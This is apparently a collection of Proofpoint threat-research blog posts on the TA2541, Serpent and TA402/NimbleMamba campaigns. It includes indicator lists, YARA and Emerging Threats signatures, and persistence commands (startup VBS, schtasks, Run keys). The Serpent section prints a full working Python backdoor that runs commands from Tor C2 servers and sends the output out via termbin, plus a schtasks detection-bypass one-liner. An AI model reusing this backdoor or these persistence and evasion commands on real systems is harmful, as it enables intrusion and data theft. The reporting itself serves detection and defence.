+Subject
+list of persons.xls
+1561ece482c78a2d587b66c8eaf211e806ff438e506fcef8f14ae367db82d9b3
+Attachment
+84.32.188[.]96
+qwerty_setup.msi
+Package
+31d765deae26fb5cb506635754c700c57f9bd0fc643a622dc0911c42bf93d18f
+print.lua
+7bf33b494c70bd0a0a865b5fbcee0c58fa9274b8741b03695b45998bcd459328
+Lua Script
+14/18
+luacom.dll
+f97f26f9cb210c0fcf2b50b7b9c8c93192b420cdbd946226ec2848fd19a9af2c
+Files
+ltn12.lua
+b1864aed85c114354b04fbe9b3f41c5ebc4df6d129e08ef65a0c413d0daabd29
+mime.lua
+e9167e0da842a0b856cbe6a2cf576f2d11bcedb5985e8e4c8c71a73486f6fa5a
+http.lua
+d10fbef2fe8aa983fc6950772c6bec4dc4f909f24ab64732c14b3e5f3318700c
+socket.dll
+3694f63e5093183972ed46c6bef5c63e0548f743a8fa6bb6983dcf107cab9044
+mime.dll
+976b7b17f2663fee38d4c4b1c251269f862785b17343f34479732bf9ddd29657
+lua5.1.dll
+fbbe7ee073d0290ac13c98b92a8405ea04dcc6837b4144889885dd70679e933f
+url.lua
+269526c11dbb25b1b4b13eec4e7577e15de33ca18afa70a2be5f373b771bd1ab
+sppsvc.exe
+737f08702f00e78dbe78acbeda63b73d04c1f8e741c5282a9aa1409369b6efa8
+tp.lua
+343afa62f69c7c140fbbf02b4ba2f7b2f711b6201bb6671c67a3744394084269
+socket.lua
+15fd138a169cae80fecf4c797b33a257d587ed446f02ecf3ef913e307a22f96d
+Software Protection Service.lnk
+File Name
+AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Software
+Protection Service.lnk
+Directory
+Path
+C:\ProgramData\.security-soft
+Directory
+Path
+hxxp://84.32.188[.]96/<hexadecimal_value>
+15/18
+list of participants of the briefing.xls
+File
+a8fd0a5de66fa39056c0ddf2ec74ccd38b2ede147afa602aba00a3f0b55a88e0
+157.230.104[.]79
+i.msi
+2e1de7b61ed25579e796ec4c0df2e25d2b98a1f8d4fdb077e2b52ee06c768fca
+Package
+hxxp://45.61.137[.]231/?id=<hexdecimal_value>
+wlua5.1.exe
+Files
+737f08702f00e78dbe78acbeda63b73d04c1f8e741c5282a9aa1409369b6efa8
+core.lua
+737f08702f00e78dbe78acbeda63b73d04c1f8e741c5282a9aa1409369b6efa8
+luacom.dll
+f97f26f9cb210c0fcf2b50b7b9c8c93192b420cdbd946226ec2848fd19a9af2c
+struct.dll
+5b317f27ad1e2c641f85bef601740b65e93f28df06ed03daa1f98d0aa5e69cf0
+ltn12.lua
+b1864aed85c114354b04fbe9b3f41c5ebc4df6d129e08ef65a0c413d0daabd29
+mime.lua
+e9167e0da842a0b856cbe6a2cf576f2d11bcedb5985e8e4c8c71a73486f6fa5a
+http.lua
+d10fbef2fe8aa983fc6950772c6bec4dc4f909f24ab64732c14b3e5f3318700c
+socket.dll
+3694f63e5093183972ed46c6bef5c63e0548f743a8fa6bb6983dcf107cab9044
+16/18
+core.dll
+9aa3ca96a84eb5606694adb58776c9e926020ef184828b6f7e6f9b50498f7071
+core.lua
+20180a8012970453daef6db45b2978fd962d2168fb3b2b1580da3af6465fe2f6
+mime.dll
+976b7b17f2663fee38d4c4b1c251269f862785b17343f34479732bf9ddd29657
+lua5.1.dll
+fbbe7ee073d0290ac13c98b92a8405ea04dcc6837b4144889885dd70679e933f
+url.lua
+269526c11dbb25b1b4b13eec4e7577e15de33ca18afa70a2be5f373b771bd1ab
+alien.lua
+303e004364b1beda0338eb10a845e6b0965ca9fa8ee16fa9f3a3c6ef03c6939f
+tp.lua
+343afa62f69c7c140fbbf02b4ba2f7b2f711b6201bb6671c67a3744394084269
+socket.lua
+15fd138a169cae80fecf4c797b33a257d587ed446f02ecf3ef913e307a22f96d
+YARA Signatures
+17/18
+rule WindowsInstaller_Silent_InstallProduct_MacroMethod
+meta:
+author = "Proofpoint Threat Research"
+date = "20210728"
+hash = "1561ece482c78a2d587b66c8eaf211e806ff438e506fcef8f14ae367db82d9b3;
+a8fd0a5de66fa39056c0ddf2ec74ccd38b2ede147afa602aba00a3f0b55a88e0"
+reference = "This signature has not been quality controlled in a production
+environment. Analysts believe that this method is utilized by multiple threat actors in the
+wild"
+strings:
+$doc_header = {D0 CF 11 E0 A1 B1 1A E1}
+$s1 = ".UILevel = 2"
+$s2 = "CreateObject(\"WindowsInstaller.Installer\")"
+$s3 = ".InstallProduct \"http"
+condition:
+$doc_header at 0 and all of ($s*)
+Emerging Threats Signatures
+2035360 SunSeed Lua Downloader Activity (GET)
+2035361 SunSeed Downloader Retrieving Binary (set)
+2035362 SunSeed Download Retrieving Binary
+Subscribe to the Proofpoint Blog
+Select
+18/18
+Charting TA2541's Flight
+proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight
+February 9, 2022
+Threat Insight
+Charting TA2541's Flight
+February 15, 2022 Selena Larson and Joe Wise
+Key Findings
+Proofpoint researchers have tracked a persistent cybercrime threat actor targeting
+aviation, aerospace, transportation, manufacturing, and defense industries for years.
+The threat actor consistently uses remote access trojans (RATs) that can be used to
+remotely control compromised machines.
+The threat actor uses consistent themes related to aviation, transportation, and travel.
+The threat actor has used similar themes and targeting since 2017.
+Proofpoint calls this actor TA2541.
+Overview
+TA2541 is a persistent cybercriminal actor that distributes various remote access trojans
+(RATs) targeting the aviation, aerospace, transportation, and defense industries, among
+others. Proofpoint has tracked this threat actor since 2017, and it has used consistent tactics,
+techniques, and procedures (TTPs) in that time. Entities in the targeted sectors should be
+aware of the actor's TTPs and use the information provided for hunting and detection.
+TA2541 uses themes related to aviation, transportation, and travel. When Proofpoint first
+started tracking this actor, the group sent macro-laden Microsoft Word attachments that
+downloaded the RAT payload. The group pivoted, and now they more frequently send
+messages with links to cloud services such as Google Drive hosting the payload. Proofpoint
+assesses TA2541 is a cybercriminal threat actor due to its use of specific commodity malware,
+broad targeting with high volume messages, and command and control infrastructure.
+While public reporting detailing similar threat activities exists since at least 2019, this is the
+first time Proofpoint is sharing comprehensive details linking public and private data under
+one threat activity cluster we call TA2541.
+Campaign Details
+Unlike many cybercrime threat actors distributing commodity malware, TA2541 does not
+typically use current events, trending topics, or news items in its social engineering lures. In
+nearly all observed campaigns, TA2541 uses lure themes that include transportation related
+1/12
+terms such as flight, aircraft, fuel, yacht, charter, etc.
+Figure 1: Email lure requesting information on aircraft parts.
+2/12
+Figure 2: Email lure requesting ambulatory flight information.
+TA2541 demonstrates persistent and ongoing threat activity since January 2017. Typically, its
+malware campaigns include hundreds to thousands of messages, although it is rare to see
+TA2541 send more than 10,000 messages at one time. Campaigns impact hundreds of
+organizations globally, with recurring targets in North America, Europe, and the Middle East.
+Messages are nearly always in English.
+In the spring of 2020, TA2541 briefly pivoted to adopting COVID-related lure themes
+consistent with their overall theme of cargo and flight details. For example, they distributed
+lures associated with cargo shipments of personal protective equipment (PPE) or COVID-19
+testing kits.
+3/12
+Figure 3: PPE themed lure used by TA2541.
+The adoption of COVID-19 themes was brief, and the threat actor quickly returned to generic
+cargo, flight, charter, etc. themed lures.
+Multiple researchers have published data on similar activities since 2019 including Cisco
+Talos, Morphisec, Microsoft, Mandiant, and independent researchers. Proofpoint can
+confirm the activities in these reports overlap with the threat actor tracked as TA2541.
+Delivery and Installation
+In recent campaigns, Proofpoint observed this group using Google Drive URLs in emails that
+lead to an obfuscated Visual Basic Script (VBS) file. If executed, PowerShell pulls an
+executable from a text file hosted on various platforms such as Pastetext, Sharetext, and
+GitHub. The threat actor executes PowerShell into various Windows processes and queries
+Windows Management Instrumentation (WMI) for security products such as antivirus and
+firewall software, and attempts to disable built-in security protections. The threat actor will
+collect system information before downloading the RAT on the host.
+4/12
+Figure 4: Example attack chain.
+While TA2541 consistently uses Google Drive, and occasionally OneDrive, to host the
+malicious VBS files, beginning in late 2021, Proofpoint observed this group begin using
+DiscordApp URLs linking to a compressed file which led to either AgentTesla or Imminent
+Monitor. Discord is an increasingly popular content delivery network (CDN) used by threat
+actors.
+Although TA2541 typically uses URLs as part of the delivery, Proofpoint has also observed
+this actor leverage attachments in emails. For example, the threat actor may send
+compressed executables such as RAR attachments with an embedded executable containing
+URL to CDNs hosting the malware payload.
+Listed below is an example of a VBS file used in a recent campaign leveraging the StrReverse
+function and PowerShell
+s RemoteSigned functionality. It is worth noting the VBS files are
+usually named to stay consistent with the overall email themes: fight, aircraft, fuel, yacht,
+charter, etc.
+5/12
+Figure 5: Contents of a sample VBS file.
+Deobfuscated command:
+https://paste[.]ee/r/01f2w/0
+The figure below depicts an example from a recent campaign where the PowerShell code is
+hosted on the paste.ee URL.
+6/12
+Figure 6: Paste URL example.
+Persistence:
+Typically, TA2541 will use Visual Basic Script (VBS) files to establish persistence with one of
+their favorite payloads, AsyncRAT. This is accomplished by adding the VBS file in the startup
+directory which points to a PowerShell script. Note: the VBS and PowerShell file names used
+are mostly named to mimic Windows or system functionality. Examples from recent
+campaigns include:
+Persistence Example:
+C:\Users[User]\AppData\Roaming\Microsoft\Windows\Start
+Menu\Programs\Startup\SystemFramework64Bits.vbs
+Contents of VBS file:
+Set Obj = CreateObject("WScript.Shell")
+Obj.Run "PowerShell -ExecutionPolicy RemoteSigned -File " & "C:\Users\
+[User]\AppData\Local\Temp\RemoteFramework64.ps1", 0
+Other Recent VBS File Names Observed
+UserInterfaceLogin.vbs
+HandlerUpdate64Bits.vbs
+7/12
+WindowsCrashReportFix.vbs
+SystemHardDrive.vbs
+TA2541 has also established persistence by creating scheduled tasks and adding entries in the
+registry. For instance, in November 2021 TA2541 distributed the payload Imminent Monitor
+using both of these methods. In recent campaigns, vjw0rm and STRRAT also leveraged task
+creation and adding entries to the registry. For example:
+Scheduled Task:
+schtasks.exe /Create /TN "Updates\BQVIiVtepLtz" /XML C:\Users\
+[User]\AppData\Local\Temp\tmp7CF8.tmp
+schtasks /create /sc minute /mo 1 /tn Skype /tr "C:\Users\
+[Use]\AppData\Roaming\xubntzl.txt"
+Registry:
+Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost
+Data: C:\Users[User]\AppData\Roaming\server\server.exe
+Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\xubntzl
+Data: C:\Users\User\AppData\Roaming\xubntzl.txt
+Malware
+Proofpoint has observed TA2541 using over a dozen different malware payloads since 2017.
+The threat actor uses commodity malware available for purchase on criminal forums or
+available in open-source repositories. Currently, TA2541 prefers AsyncRAT, but other
+popular RATs include NetWire, WSH RAT and Parallax.
+8/12
+Figure 7: Malware used by TA2541 associated with message volume.
+All the malware used by TA2541 can be used for information gathering purposes and to gain
+remote control of an infected machine. At this time, Proofpoint does not know what the
+threat actor
+s ultimate goals and objectives are once it achieves initial compromise.
+While AsyncRAT is the current malware of choice, TA2541 has varied its malware use each
+year since 2017. The threat actor will typically use just one or a handful of RATs in observed
+campaigns, however in 2020, Proofpoint observed TA2541 distributing over 10 different
+types of malware, all using the same initial infection chain.
+Figure 8: Distribution of TA2541 malware over time.
+Infrastructure
+9/12
+TA2541 uses Virtual Private Servers as part of their email sending infrastructure and
+frequently uses Dynamic DNS (DDNS) for C2 infrastructure.
+There are multiple patterns across the C2 infrastructure and the message artifacts. For
+example, historic campaigns have included the term 
+kimjoy
+ in the C2 domain name as well
+as in the threat actor reply-to address. Another striking TTP is the common pattern observed
+with TA2541 C2 domains and payload staging URLs containing the keywords 
+kimjoy,
+h0pe,
+ and 
+grace
+. TA2541 also regularly uses the same domain registrars including
+Netdorm and No-IP DDNS, and hosting providers including xTom GmbH and Danilenko,
+Artyom.
+Victimology
+Often, campaigns contained several hundred to several thousand email messages to dozens
+of different organizations. Although Proofpoint has observed TA2541 targeting thousands of
+organizations, multiple entities across aviation, aerospace, transportation, manufacturing,
+and defense industries appear regularly as targets of its campaigns. There appears to be a
+wide distribution across recipients, indicating TA2541 does not target people with specific
+roles and functions.
+Conclusion
+TA2541 remains a consistent, active cybercrime threat, especially to entities in its most
+frequently targeted sectors. Proofpoint assesses with high confidence this threat actor will
+continue using the same TTPs observed in historic activity with minimal change to its lure
+themes, delivery, and installation. It is likely TA2541 will continue using AsyncRAT and
+vjw0rm in future campaigns and will likely use other commodity malware to support its
+objectives.
+Indicators of Compromise (IOCs)
+C2 Domains
+Indicator
+Description
+Date Observed
+joelthomas[.]linkpc[.]net
+AsyncRAT C2 Domain
+Throughout 2021
+rick63[.]publicvm[.]com
+AsyncRAT C2 Domain
+January 2022
+tq744[.]publicvm[.]com
+AsyncRAT C2 Domain
+January 2022
+10/12
+bodmas01[.]zapto[.]org
+AsyncRAT C2 Domain
+January 2022
+bigdips0n[.]publicvm[.]com
+AsyncRAT C2 Domain
+December 2021
+6001dc[.]ddns[.]net
+AsyncRAT C2 Domain
+September 2021
+kimjoy[.]ddns[.]net
+Revenge RAT C2 Domain
+March 2021
+h0pe[.]ddns[.]net
+AsyncRAT C2 Domain
+April/May 2021
+e29rava[.]ddns[.]net
+AsyncRAT C2 Domain
+June 2021
+akconsult[.]ddns[.]net
+AsyncRAT C2 Domain
+July 2021
+grace5321[.]publicvm[.]com
+StrRAT C2 Domain
+January 2022
+grace5321[.]publicvm[.]com
+Imminent Monitor C2 Domain
+November 2021
+VBS SHA256 Hashes
+VBS SHA256 hashes observed in recent December and January campaigns.
+File Name: Aircrafts PN#_ALT PN#_Desc_&_Qty Details.vbs
+SHA256: 67250d5e5cb42df505b278e53ae346e7573ba60a06c3daac7ec05f853100e61c
+File Name: charters details.pdf.vbs
+SHA256: ebd7809cacae62bc94dfb8077868f53d53beb0614766213d48f4385ed09c73a6
+File Name: charters details.pdf.vbs
+SHA256: 4717ee69d28306254b1affa7efc0a50c481c3930025e75366ce93c99505ded96
+File Name: 4Pax Trip Details.pdf.vbs
+SHA256: d793f37eb89310ddfc6d0337598c316db0eccda4d30e34143c768235594a169c
+ET Signatures
+11/12
+2034978 - ET POLICY Pastebin-style Service (paste .ee) in TLS SNI
+2034979 - ET HUNTING Powershell Request for paste .ee Page
+2034980 - ET MALWARE Powershell with Decimal Encoded RUNPE Downloaded
+2850933 - ETPRO HUNTING Double Extension VBS Download from Google Drive
+2850934 - ETPRO HUNTING Double Extension PIF Download from Google Drive
+2850936 - ETPRO HUNTING VBS Download from Google Drive
+12/12
+Serpent, No Swiping! New Backdoor Targets French
+Entities with Unique Attack Chain
+proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain
+March 18, 2022
+Key Findings
+Proofpoint identified a targeted attack leveraging an open-source package installer
+Chocolatey to deliver a backdoor.
+The attack targeted French entities in the construction, real estate, and government
+industries.
+The attacker used a resume themed subject and lure purporting to be GDPR
+information.
+The attacker used steganography, including a cartoon image, to download and install the
+Serpent backdoor.
+The attacker also demonstrated a novel detection bypass technique using a Scheduled
+Task.
+Objectives are currently unknown however based on the tactics and targeting observed it
+is likely an advanced, targeted threat.
+Overview
+Proofpoint observed new, targeted activity impacting French entities in the construction and
+government sectors. The threat actor used macro-enabled Microsoft Word documents to
+distribute the Chocolatey installer package, an open-source package installer. Various parts of
+the VBA macro include the following ASCII art and depict a snake as below.
+The threat actor attempted to install a backdoor on a potential victim
+s device, which could
+enable remote administration, command and control (C2), data theft, or deliver other
+additional payloads. Proofpoint refers to this backdoor as Serpent. The ultimate objective of
+1/10
+the threat actor is currently unknown.
+Campaign Details
+In the observed campaign, messages are in French and purport to be, for example:
+From: "Jeanne" <jeanne.vrakele@gmail[.]com>
+Subject "Candidature - Jeanne Vrakele"
+The messages contain a macro-enabled Microsoft Word document masquerading as
+information relating to the 
+glement g
+ral sur la protection des donn
+es (RGPD)
+ or the
+European Union
+s General Data Protection Regulations (GDPR).
+Figure 1: GDPR themed lure.
+When macros are enabled, the document executes that macro, which reaches out to an image
+URL, e.g., https://www.fhccu[.]com/images/ship3[.]jpg, containing a base64 encoded
+PowerShell script hidden in the image using steganography. The PowerShell script first
+downloads, installs, and updates the Chocolatey installer package and repository script.
+Chocolatey is a software management automation tool for Windows that wraps installers,
+executables, zips, and scripts into compiled packages, similar to Homebrew for OSX. The
+software provides both open-source and paid versions with various levels of functionality.
+Proofpoint has not previously observed a threat actor use Chocolatey in campaigns.
+2/10
+The script then uses Chocolatey to install Python, including the pip Python package installer,
+which it then uses to install various dependencies including PySocks, a Python based reverse
+proxy client that enables users to send traffic through SOCKS and HTTP proxy servers.
+Next, the script fetches another image file, e.g. https://www.fhccu[.]com/images/7[.]jpg,
+which contains a base64 encoded Python script also hidden using steganography, and saves
+the Python script as MicrosoftSecurityUpdate.py. The script then creates and executes a .bat
+file that in turn executes the Python script.
+The attack chain ends with a command to a shortened URL which redirects to the Microsoft
+Office help website.
+Figure 2: 
+Swiper
+ image with base64 encoded PowerShell script to download and install
+Chocolatey and Python and fetch another steganographic image.
+The Python script (the Serpent backdoor) is as follows:
+3/10
+#!/usr/bin/python3
+from subprocess import Popen, PIPE, STDOUT
+import requests
+import re
+import socket
+import time
+cmd_url_order =
+'http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd.onion.pet/index.html'
+cmd_url_answer =
+'http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid.onion.pet/index.html'
+hostname = socket.gethostname()
+hostname_pattern = 'host:%s-00' % hostname
+headers = {}
+referer = {'Referer': hostname_pattern}
+cache_control = {'Cache-Control': 'no-cache'}
+headers.update(referer)
+headers.update(cache_control)
+check_cmd_1 = ''
+def recvall(sock, n):
+data = b''
+while len(data) < n:
+packet = sock.recv(n - len(data))
+if not packet:
+return None
+data += packet
+return data
+def get_cmd():
+req = requests.get(cmd_url_order, headers=headers).content.decode().strip()
+if req == '':
+pass
+else:
+return req
+def run_cmd(cmd):
+cmd_split = cmd.split('--')
+if cmd_split[1] == hostname:
+cmd = cmd_split[2]
+print(cmd)
+run = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT)#.decode()
+out = run.stdout.read()
+4/10
+if not out:
+out = b'ok'
+termbin_cnx = socks.socksocket()
+termbin_cnx = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '172.17.0.1', '9050', True)
+termbin_cnx.connect(('termbin.com', 9999))
+termbin_cnx.send(out)
+recv = termbin_cnx.recv(100000)
+termbin_url_created = recv.decode().rstrip('\x00').strip()
+print(termbin_url_created)
+termbin_header = {'Referer': hostname_pattern+" -- "+termbin_url_created}
+headers.update(termbin_header)
+try:
+push = requests.get(cmd_url_answer, headers=headers)
+print('executed')
+headers.update(referer)
+except Exception as e:
+print(e)
+pass
+else:
+print('not for me')
+while True:
+time.sleep(10)
+try:
+check_cmd = get_cmd()
+if check_cmd != check_cmd_1:
+time.sleep(20)
+print(check_cmd)
+run_cmd(check_cmd)
+check_cmd_1 = check_cmd
+pass
+except Exception as e:
+print(e)
+pass
+This Serpent backdoor periodically pings the 
+order
+ server (the first onion[.]pet URL) and
+expects responses of the form <random integer>--<hostname>--<command>. If <hostname>
+matches the hostname of the infected computer, the infected host runs the command provided
+by the order server (<command>), which could be any Windows command as designated by
+the attacker, and records the output. The malware then uses PySocks to connect to the
+command line pastebin tool Termbin, pastes the output to a bin, and receives the bin
+s unique
+URL. Finally, the malware sends a request to the 
+answer
+ server (the second onion[.]pet
+5/10
+URL), including the hostname and bin URL in the header. This allows the attacker to monitor
+the bin outputs via the 
+answer
+ URL and see what the infected host
+s response was. The
+malware cycles through this process indefinitely.
+Figure 3: Serpent backdoor attack chain.
+Both steganographic images are hosted on what appears to be a Jamaican credit union
+website.
+6/10
+Figure 4: Image with base64 encoded Python script.
+The threat actor uses a Tor proxy for command and control (C2) infrastructure, for example:
+http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd[.]onion[.]pet/index.html
+Additional Tooling
+In addition to the images used in this attack chain Proofpoint researchers have observed and
+identified additional payloads being served from the same host. One of particular interest is
+utilizing what Proofpoint believes to be a novel application of signed binary proxy execution
+using schtasks.exe. Notably, this is an attempt to bypass detection by defensive measures.
+This command is contained within a similar Swiper image called ship.jpg after the end of file
+marker.
+schtasks.exe /CREATE /SC ONEVENT /EC application /mo *[System/EventID=777] /f /TN
+run /TR "calc.exe" & EVENTCREATE /ID 777 /L APPLICATION /T INFORMATION /SO
+DummyEvent /D "Initiatescheduled task." & schtasks.exe /DELETE /TN run /f
+The above command leverages schtasks.exe to create a one-time task to call a portable
+executable. In this case the executable is called calc.exe. The trigger for this task is contingent
+on the creation of a Windows event with EventID of 777. The command then creates a dummy
+event to trigger the task and deletes the task from the task scheduler. This peculiar application
+of tasking logic results in the portable executable being executed as a child process of
+taskhostsw.exe which is a signed Windows binary.
+Threat Assessment
+7/10
+The threat actor leveraged multiple unique behaviors and targeting suggesting this is likely an
+advanced, targeted threat.
+Leveraging Chocolatey as an initial payload may allow the threat actor to bypass threat
+detection mechanisms because it is a legitimate software package and would not immediately
+be identified as malicious. The follow-on use of legitimate Python tools observed in network
+traffic may also not be flagged or identified as malicious. The use of steganography in the
+macro and follow-on payloads is unique; Proofpoint rarely observes the use of steganography
+in campaigns. Additionally, the technique using schtasks.exe to execute any desired portable
+executable file is also unique and previously unobserved by Proofpoint threat researchers.
+Proofpoint does not associate this threat with a known actor or group.
+The ultimate objectives of the threat actor are presently unknown. Successful compromise
+would enable a threat actor to conduct a variety of activities, including stealing information,
+obtaining control of an infected host, or installing additional payloads.
+A Note on Highly Targeted Threats
+Proofpoint has a vast amount of organic threat data to pour over every day. This presents
+unique challenges when trying to surface interesting threats. The aforementioned campaign
+and the threats contained within were surfaced using Proofpoint
+s machine learning-enabled
+Campaign Discovery tool. This tool uses a custom-built deep neural network model to
+generate useful numeric 
+encodings
+ of threats based on their behavioral forensics. These
+encodings are then used to generate clusters of similar threats. This allows Proofpoint
+s threat
+researchers to identify campaigns, including the shared infrastructure, TTPs, and indicators of
+compromise that define them more easily. By clustering together threats that are alike, the
+tool also facilitates the discovery of anomalous or unusual threats that are not similar to any
+other observed threats. We lovingly refer to this tool as Camp Disco and it sports themed ascii
+art like all sweet tools should.
+8/10
+Indicators of Compromise
+Indicator
+Description
+https://www[.]fhccu[.]com/images/ship3[.]jpg
+Encoded
+Payload
+https://www[.]fhccu[.]com/images/7[.]jpg
+Encoded
+Payload
+http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid
+[.]onion[.]pet/index[.]html
+9/10
+http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd
+[.]onion[.]pet/index[.]html
+http://shorturl[.]at/qzES8
+ShortURL
+jeanne.vrakele@gmail[.]com
+Sender
+Email
+jean.dupontel@protonmail[.]com
+Sender
+Email
+no-reply@dgfip-nanterre[.]com
+Sender
+Email
+f988e252551fe83b5fc3749e1d844c31fad60be0c25e546c80dbb9923e03eaf2
+Docm
+SHA256
+ec8c8c44eae3360be03e88a4bc7bb03f3de8d0a298bff7250941776fcea9faab
+Docm
+SHA256
+8912f7255b8f091e90083e584709cf0c69a9b55e09587f5927c9ac39447d6a19
+Docm
+SHA256
+Proofpoint detects and blocks all documents associated with the campaigns and has published
+the following Emerging Threat signatures:
+2035303 - ET INFO Observed Chocolatey Windows Package Management Domain
+(chocolatey .org in TLS SNI)
+2035306 - ET INFO Chocolatey Windows Package Management Installation File Retrieval
+2851286 - ETPRO MALWARE Malicious Script Retrieved via Image Request
+10/10
+Ugg Boots 4 Sale: A Tale of Palestinian-Aligned
+Espionage
+proofpoint.com/us/blog/threat-insight/ugg-boots-4-sale-tale-palestinian-aligned-espionage
+February 2, 2022
+Blog
+Threat Insight
+Ugg Boots 4 Sale: A Tale of Palestinian-Aligned Espionage
+February 08, 2022 Konstantin Klinger, Joshua Miller, and Georgi Mladenov
+Key Takeaways
+TA402, a likely Palestinian-aligned advance persistent threat actor, has recently
+engaged in campaigns leveraging a new implant, dubbed by Proofpoint analysts as
+NimbleMamba.
+NimbleMamba is likely a replacement for the group
+s previously used LastConn
+implant.
+These campaigns have a complex attack chain that leverages geofencing and URL
+redirects to legitimate sites in order to bypass detection efforts.
+Overview
+In late 2021, Proofpoint analysts identified a complex attack chain targeting Middle Eastern
+governments, foreign policy think tanks, and a state-affiliated airline. Over three months,
+Proofpoint observed three subtle variations of this attack chain. Proofpoint attributes these
+campaigns to TA402, an actor commonly tracked as Molerats and believed to be operating in
+the interest of the Palestinian Territories. Based on Proofpoint
+s research, TA402 is a
+persistent threat to organizations and governments in the Middle East, routinely updating
+not only their malware implants, but also their delivery methods. After publication of
+Proofpoint
+s TA402 research in June 2021, TA402 appeared to halt its activities for a short
+period of time, almost certainly to retool. Proofpoint researchers believe they used that time
+to update their implants and delivery mechanisms, using malware dubbed NimbleMamba
+and BrittleBush. TA402 also regularly uses geofencing techniques and varied attack chains
+which complicate detection efforts for defenders.
+Campaign Details
+1/15
+Figure 1. TA402 attack chain November 2021 to January 2022.
+In the recently observed campaigns, TA402 used spear phishing emails containing links that
+often lead to malicious files. Proofpoint observed three different URL types in those
+campaigns.
+Variation 1: Actor-Controlled Domain (November 2021)
+In a November 2021 campaign, TA402 masqueraded as the Quora website while using an
+actor-controlled Gmail account with an actor-controlled domain. The malicious URL, such as
+https[:]//www[.]uggboots4sale[.]com/news15112021.php, in the phishing email was
+geofenced to the targeted countries. If the target's IP address fits into the targeted region, the
+user would be redirected to the RAR file download containing the latest TA402 implant,
+NimbleMamba. If outside the target area, the user would be redirected to a legitimate news
+site, Figure 2.
+2/15
+Figure 2. Benign redirect to legitimate news site https[:]www[.]emaratalyoum[.]com.
+Variation 2: Dropbox URL (December 2021)
+In December 2021, TA402 used multiple phishing pretenses, including clickbait medical
+lures and ones allegedly sharing confidential geopolitical information. TA402 continued to
+use an actor-controlled Gmail account but shifted to Dropbox URLs to deliver the malicious
+RAR files containing NimbleMamba. This shift away from actor-controlled domains meant
+that TA402 could no longer geofence their payloads. Proofpoint discovered that TA402 is not
+only abusing Dropbox services for delivery of NimbleMamba, but also for malware command
+and control (C2). Proofpoint has shared our investigation and analysis with Dropbox prior to
+publication, and they took the needed actions for neutralizing the activity within their
+organization.
+Variation 3: WordPress Redirect Actor-Controlled Domain (December
+2021/January 2022)
+In their latest campaigns, TA402 continued to use lure content customized for each of their
+targets but slightly adjusted their attack chain by inserting an additional actor-controlled
+WordPress URL. That WordPress site (Figure 3), which impersonates a news aggregator of
+the legitimate news site from Variation 1, likely redirects to the download site of the
+malicious RAR files containing NimbleMamba if the visitor is coming from an IP within the
+3/15
+targeted region. If the source IP address does not align with the target region, the URL will
+redirect the recipient to a benign website, typically an Arabic language news website (Figure
+Figure 3. Example WordPress site (https[:]//emaratalyoumcom[.]wordpress[.]com/)
+impersonating an Arabic language news aggregator.
+The use of geofenced URLs, Dropbox URLs and then redirect URLs demonstrate TA402
+determination to blend in with legitimate email traffic and infect targets with
+NimbleMamba.
+Malware Analysis: NimbleMamba
+Each variant of TA402
+s attack chain led to a RAR file containing one or multiple malicious
+compressed executables. These executables include a TA402 implant Proofpoint dubbed
+NimbleMamba and oftentimes an additional trojan Proofpoint named BrittleBush.
+NimbleMamba is almost certainly meant to replace LastConn, which
+Proofpoint reported about in June 2021. LastConn was likely an updated version of the
+SharpStage malware, reported by Cybereason in December 2020. While NimbleMamba and
+4/15
+LastConn have some similarities, such as being written in C#, base64 encoding within the C2
+framework, and use of the Dropbox API for C2 communication, there appears to be little
+code overlap between the two.
+NimbleMamba uses guardrails to ensure that all infected victims are within TA402
+s target
+region. NimbleMamba uses the Dropbox API for both command and control as well as
+exfiltration. The malware also contains multiple capabilities designed to complicate both
+automated and manual analysis. Based on this, Proofpoint assesses NimbleMamba is actively
+being developed, is well-maintained, and designed for use in highly targeted intelligence
+collection campaigns.
+For this malware analysis, Proofpoint researchers analyzed the following two samples:
+SHA256
+Sample
+c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d
+Sample
+430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44
+NimbleMamba is written in C# and delivered as an obfuscated .NET executable using thirdparty obfuscators. Both samples analyzed used the SmartAssembly obfuscator. Additionally,
+the malware does basic virtual machine checks to avoid detection by looking for common
+strings that indicate a sample is running in a virtual environment.
+Guardrails
+NimbleMamba contains multiple guardrails to ensure that the malware only executes on
+targeted machines. It uses the following IP resolving web services to check the user
+s IP
+address and determine if it fits into the target region. This is done to avoid detection and
+5/15
+analysis.
+api[.]ipify[.]com (https://www.ipify.org)
+myexternalip[.]com (https://myexternalip.com)
+ip-api[.]com (https://ip-api.com)
+api[.]ipstack[.]com (https://ipstack.com)
+If the machine is unable to connect to those services, the malware will keep calling the
+addresses in random order, thus putting the execution in an endless loop in closed network
+environments.
+The malware will only continue executing if the country of the resolved IP address country
+code matches one from the following table or if the host computer has an Arabic language
+pack (code 
+) installed.
+Code
+Country
+Kuwait
+Egypt
+Israel
+Saudi Arabia
+Iran
+United Arab Emirates
+Tunisia
+Algeria
+Syria
+Qatar
+Jordan
+6/15
+Oman
+Palestine
+Lebanon
+Libya
+South Sudan
+Soud Sudan (Alpha-3 code, probably added by accident)
+Iraq
+Yemen
+Morocco
+Bahrain
+Configuration
+NimbleMamba
+s configuration is retrieved from a paste on the website JustPasteIt.
+NimbleMamba takes the current timestamp from an online real-time service to ensure that
+the timestamp matches the current time. Some computers may have modified time settings
+and this method ensures that the time is standardized across infections. The obtained
+timestamp is then used to generate a JustPasteIt URL with the algorithm in Figure 4.
+7/15
+Figure 4. Python implementation of NimbleMamba
+s JustPasteIt algorithm.
+When there is an active paste under the generated URL, it should look like this:
+8/15
